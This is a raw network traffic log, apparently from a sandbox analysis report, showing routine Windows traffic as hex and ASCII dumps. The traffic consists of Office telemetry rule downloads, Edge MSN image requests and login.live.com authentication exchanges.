2024-11-25 17:28:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3b3ce442-a01e-001e-3708-3d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172857Z-178bfbc474bvjk8shC1NYC83ns00000007n000000000bzay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172857Z-174c587ffdfks6tlhC1TEBeza400000006d0000000002hm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:58 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: a6c16221-901e-002a-0257-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172857Z-15b8b599d88cn5thhC1TEBqxkn000000068000000000040z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:58 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49916	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:58 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT X-Source-Length: 822 X-Datacenter: northeu X-ActivityId: 5763b2c5-4e9a-486b-a0ff-57403523bc58 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=296261 Expires: Fri, 29 Nov 2024 03:46:38 GMT Date: Mon, 25 Nov 2024 17:28:57 GMT Connection: close
2024-11-25 17:28:58 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49911	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:28:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:58 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: ed2f413d-3ec5-4e4b-858b-0360552e7a15 PPServer: PPV: 30 H: SN1PEPF0002F036 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:58 GMT Connection: close Content-Length: 11409
2024-11-25 17:28:58 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:58 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 07e1bf82-901e-0029-4cbf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172858Z-178bfbc474bh5zbqhC1NYCkdug00000007n000000000qgh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:58 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49915	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:28:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:58 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: c52d5463-f906-42a6-88cf-eac87a29ed2d PPServer: PPV: 30 H: PH1PEPF00011E4A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:57 GMT Connection: close Content-Length: 11409
2024-11-25 17:28:58 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:58 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172859Z-174c587ffdf9xbcchC1TEBxkz40000000650000000006k29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49921	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:59 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=197028 Expires: Thu, 28 Nov 2024 00:12:47 GMT Date: Mon, 25 Nov 2024 17:28:59 GMT Connection: close
2024-11-25 17:28:59 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-178bfbc474btrnf9hC1NYCb80g000000080g000000002v2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
